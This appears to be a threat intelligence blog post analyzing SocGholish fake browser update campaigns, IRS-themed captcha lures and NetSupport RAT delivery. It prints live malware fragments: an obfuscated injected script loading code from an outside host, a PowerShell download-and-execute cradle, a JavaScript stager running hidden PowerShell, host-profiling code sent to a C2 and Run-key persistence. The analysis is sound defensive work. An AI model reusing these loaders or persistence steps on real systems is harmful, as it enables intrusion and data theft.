SocGholish Campaigns and Initial Access Kit

Jason Reaves
9 min readMay 25, 2022


By: Jason Reaves and Joshua Platt

SocGholish AKA FAKEUPDATES was first reported in 2017. While the initial analysis and reporting did not gain much attention, over time the actor(s) behind the activity continued to expand and develop their operations. Partnering with Evil Corp, the FAKEUPDATE / SOCGHOLISH framework has become a major corporate initial access vector. The threat actor(s) behind the framework have strong underground connections, demonstrated through their partnership with Evil Corp and signify thoroughly vetted cyber criminal activity. Threat attackers utilizing the framework represent significant risk to global corporations and have demonstrated top tier penetration testing abilities. According to the FBI, typical losses attributed to their activity span 1 to 40 million dollars per event[1].

Most public reporting on SocGholish revolves around the usage of fake software updates either through drive-by downloads or through links in email spam. However as we will demonstrate in this report they have the ability to do specific campaigns throughout the year. We will link a previously unattributed campaign to this threat group by using both our own private research and third-party public research. At the end, we will also demonstrate a way to pivot on the SocGholish NetSupport RAT configs which can lead to other revelations including the discovery of a publicly available zip file linking one of our discovered RAT configs to a SocGholish campaign.

IRS Campaigns

While researching NetSupport RAT campaigns, we came across a campaign involving fake captchas, compromised websites and a .NET based loader. The malware appeared to be an XLL loader[7] and appeared to be primarily associated with NetSupport campaigns.

We were able to find one blog talking about these campaigns from Cofense[2] along with a IOC dump from a researcher[9] but the details are lacking and there is no attribution mentioned. It did provide us some extra pivot points thanks to their pictures of the campaigns. One pivot point in particular shows a usage of compromised websites:

These sites just have an appended redirect location to the captcha site:

# echo “bD1odHRwczovL2lyc2J1c2luZXNzYXVkaXQubmV0L2NhcHRjaGEucGhw” |base64 — decode

We can also pivot on this captcha website because they reuse the same code for the captcha gate:

The IP address for the hlmequipment domain at the time was 5.252.178[.]213 based on passive DNS data which shows similar usage of the XLL loader but also a LNK file:

The LNK file is a downloader that will be used to ultimately lead to NetSupport RAT as well:

process call create “cmd /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX (iwr –usebasicparsing ‘')"!%SystemRoot%\System32\SHELL32.dll

LNK files appear to be leveraged through VHD file spam. The associated VHD files were:


These files also could have been hosted at compromised websites:

The files appear to contain the LNK files, which in the instance above will download ‘restore.dat’.his file is a script based loader which will then load a .NET base64 encoded XLL loader onboard. In the example above it leads to this file:

These .NET based loaders contain a simplistic way that they obfuscate all their important strings:

private static Random random = new Random(); 
private static int dec2(int a, int varXLRDDAE) {
return (a - varXLRDDAE) / varXLRDDAE;
public static string RandomString(int length) {
IEnumerable<string> arg_291_0 = Enumerable.Repeat<string>(Encoding.ASCII.GetString(new byte[] {
(byte)IVOTSVZ.dec2(2178, 33),
(byte)IVOTSVZ.dec2(2211, 33),
(byte)IVOTSVZ.dec2(2244, 33),
(byte)IVOTSVZ.dec2(2277, 33),
(byte)IVOTSVZ.dec2(2310, 33),
(byte)IVOTSVZ.dec2(2343, 33),
(byte)IVOTSVZ.dec2(2376, 33),

The process remains the same across all the campaigns utilizing the loader that we have analyzed. Thanks to the static nature of .NET opcodes, we can automatically parse and decode the encoded data.

Decoded strings:


One of the XLL loaders also had a domain onboard instead of an IP.Along with communicating over HTTPS, this sample talked to irsbusinessaudit[.]net which was leveraged as part of the aforementioned captcha campaigns leading to NetSupport RAT:

The Gateway address is specifically associated with SocGholish[8]:

FakeUpdate Drive-by Downloads

Drive-by download campaigns normally consist of a website with injected javascript code:

In this case the injected code will end up going to:


The sites are designed around social engineering involving browser updates, the browsers being targeted are the main browsers used in the market; Chrome, Firefox, IE and Opera. As an example here is a fake Edge update:

The structure of the downloaded zip file will be <Words>.[a-f0–9]{6}.zip and will unzip to a javascript file that will begin checking in to a C2 and downloading more scripts that will profile the environment.

The script sends off a few hardcoded values, which are normally a letter and two numbers, and sets the variable url2 as the C2 URL. The response from the C2 is then executed from the same context as this script. The next block of code is called ‘init’ and is normally used to gather more data about the environment it is being executed in but can be seen accessing the ‘url2’ variable previously set:

upperScope.b_request = request
upperScope.reqUrl = url2

Some WMI queries:

var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_ComputerSystemProduct", "WQL");
var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL");
var colItems = objWMIService.ExecQuery("SELECT * FROM AntiSpywareProduct", "WQL");
var colItems = objWMIService.ExecQuery("SELECT * FROM AntiVirusProduct", "WQL");
var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Process", "WQL");
var colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Service", "WQL");

The script will end up gathering a lot of information which is sent off:

var userdnsdomain = wsh.ExpandEnvironmentStrings('%userdnsdomain%')
var username = wsh.ExpandEnvironmentStrings('%username%')
var computername = wsh.ExpandEnvironmentStrings('%computername%')
var processor_architecture = wsh.ExpandEnvironmentStrings('%processor_architecture%')
var whoami = executeCmdCommand('whoami /all')
req.push(['init_result', '1'])
req.push(['ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin])
req.push(['PromptOnSecureDesktop', PromptOnSecureDesktop])
req.push(['osBuildNumber', osBuildNumber])
req.push(['osCaption', osCaption])
req.push(['whoami', whoami])
req.push(['userdnsdomain', userdnsdomain])
req.push(['username', username])
req.push(['computername', computername])
req.push(['processor_architecture', processor_architecture])
req.push(['asproduct', ASProduct])
req.push(['processlist', processlist])
req.push(['servicelist', servicelist])

The delivery for this chain has previously been NetSupport RAT but lately a CobaltStrike loader that AV companies refer to as “Blister” Loader has been delivered, normally placed in a folder within ProgramData along with a renamed Rundll32 executable. The name of the folder and file that will be used is hardcoded in one of the layers responsible for decoding the CobaltStrike file, this way it can setup itself if needed.


The CobaltStrike malleable profile in use will leverage a new WerFault.exe process for itself, this activity blends in nicely with the DLLs as they contain many exports and during sandbox detonations will normally cause multiple faults to occur legitimately.

FakeUpdate Malspam

These campaigns have a similar flow to the above drive-by download chain except that links to compromised websites are spammed out.



Visiting this site will lead to running some injected javascript code

<script>;(function(){var wq=document[id("cmVmZXJyZXI=")]||'';var nb=new RegExp(id('Oi8vKFteL10rKS8='));if(!wq||window[id("bG9jYXRpb24=")][id("aHJlZg==")][id("bWF0Y2g=")](nb)[1]==wq[id("bWF0Y2g=")](nb)[1]){return;};var ji=navigator[id("dXNlckFnZW50")];var nl=window[id("bG9jYWxTdG9yYWdl")][id("X19fdXRtYQ==")];if(go(ji,id("V2luZG93cw=="))&&!go(ji,id("QW5kcm9pZA=="))){if(!nl){var vc=document.createElement('script');vc.type='text/javascript';vc.async=true;vc.src=id('aHR0cHM6Ly9kZXNpZ24ubGF3cmVuY2V0cmF2ZWxjby5jb20vcmVwb3J0P3I9ZGoxaU5qSTBPV0ZpTlRWaU9EVmhNREl4Wm1SalpDWmphV1E5TWpZeQ==');var ni=document.getElementsByTagName('script')[0];ni.parentNode.insertBefore(vc,ni);}}function id(at){var zx=window.atob(at);return zx;}function go(rs,mr){var zx=(rs[id("aW5kZXhPZg==")](mr)>-1);return zx;}})();</script>

Which will then lead to the same chain above, you might have noticed some static values that keep showing up:


Thanks to the service PublicWWW[6] we can use this data to check for other compromised sites:

SocGholish Infection Package

All of the NetSupport RAT configs related to this threat group we have discovered have a static structure to the top portion of their config which means we can pivot on it to find more.





This last config(4fff) is related to a NetSupport RAT package which has an interesting relation to another ZIP file:

The file names do resemble a SocGholish fakeupdate for Chrome browser campaign and infection so let’s analyze them. First is the fakeupdate file which would be downloaded to the targets computer in a zip file.

FileName: Chrome.Update.50e772.js

Hash: 56de90d87bb9afc5345991b910a17cf0c6ee95cb97ea4b6de87fd93a8f22c9c0

{‘URLS’: [‘'], ‘C2’: [‘’]}

FileName: stage_2.js

Hash: ee526c0f6ce5632e585b38322c2b6332730dfa9702d0d94c99dff7a36f98db1b

This file is the ‘init’ portion of SocGholish, it acts as an initial profiler for the infected system and sends off quite a lot of data along with some hardcoded values:

var req = [];

FileName: stage_3.js

Hash: 465ab5550bc788a274e38a71ecdc246d407c453a7a2d533a9b4aa2d9e53a8463

This is a downloader which is designed to download and execute a powershell script, the first thing it does is setup some variables that will be leveraged:

var execFileName = '2b5fdce5.ps1';
var fs = new ActiveXObject("Scripting.FileSystemObject");
var _tempFilePathExec = fs.GetSpecialFolder(2) + "\\" + execFileName;

Submits a request to download the file and writes it to the hardcoded name:

try {
var req = [];
var fileContent = request(req);
var stream = new ActiveXObject('ADODB.Stream');
stream.Type = 2;
stream.Charset = "ISO-8859-1";
stream.SaveToFile(_tempFilePathExec, 1);
} catch (e) {
initExeption = 'error number:' + e.number + ' message:' + e.message;


if (initExeption == ‘0’) {
try {
var wsh = new ActiveXObject(“WScript.Shell”);
runFileResult = wsh.Run(‘powershell -ep bypass -windowstyle hidden -f “‘ + _tempFilePathExec + ‘“‘, 0);
} catch (e) {
runFileExeption += ‘error number:’ + e.number + ‘ message:’ + e.message;

Submits completion and gets next stage which will be another script piece for the javascript backdoor portion:

var req = [];

FileName: stage_4.ps1

Hash: a1f710e70688c61f447d575a081f10f21c999170e67cdedff11acb6b87b0ba14

This is the downloaded and detonated powershell file from the previous stage, what is interesting is an overlap in obfuscation usage. The obfuscation wrapper here is related to ServHelper[4,5] which is utilized by TA505[4]. Decoding is the exact same as would be done for a ServHelper related powershell file:

>>> passw = ‘n1db20gsmk536cazhrtuyx4fvol9q8pi’
>>> salt = ‘qxijovsr5w0a7zml9tpn2g3f8u6d1k4y’
>>> blob = find_blob(data)
>>> len(blob)
>>> derbytes = MS_PasswordDeriveBytes(passw, salt, hashlib.sha1, iterations=2, keylen=16)
>>> c =, DES3.MODE_CBC, iv[:8])
>>> out = c.decrypt(b64decode(blob))
>>> out[:100]
‘\r\n\r\n\r\nfunction oghygb4 {\r\n param($string, $method)\r\n $saguhga = [System.Text.Encoding]::ascii’
>>> open(sys.argv[1]+’.decr’, ‘wb’).write(out)

The decoded file is then the stage_5 file from the original ZIP package. This file is responsible for XOR decoding the NetSupport RAT package and also setting up the installation of it.

Creates a random folder in AppData:

$randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count 8 | % {[char]$_}) )$fpath =”$env:appdata\$randf”mkdir $fpath

Sets the rat clientname and removes all ps1 files in temp for cleanup:

$clientname=’ctfmon’+’.exe’remove-item $env:TEMP\*.ps1

Writes the zip file to appdata:

$lit=”$fpath\$randf”+”.zip”$gr = [System.Convert]::FromBase64String($nfuyrgg1)Set-Content -Path “$lit” -Value $gr -Encoding Byte

Unzips it and then cleans up the zip file:

cd $fpathexpand-archive “$lit” “./”remove-item “$lit”

Renames the rat client to ctfmon.exe

rename-item “client32.exe” “$clientname”

Decodes a registry key:

$reg = oghygb4 “Jik2MF07PQ0TERAGHAcpKA4EHA0GCgETMjUcCwMIGREpJhIVHAcbETECHBEcCgk7PBcb” “z47gha”Decoded shows that it is for setting up a autorun key:bytearray(b’HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run’)

Sets a run key and starts the process:

new-ItemProperty -Path “$reg” -Name “ctfmon_” -Value “$fpath\$clientname”start-process “$fpath\$clientname”


Hash: 82ddf784507fffbbbcca749a687990345041c6c6cb5f4d768ee4136b3b4f4f03

This is the XOR decoded NetSupport RAT package, the client config:



XLL loaders:


NetSupport RAT Packages:


Campaign Files:


Network IOCs:















Jason Reaves

Malware Researcher, Crimeware Threat Intel, Reverse Engineer @Walmart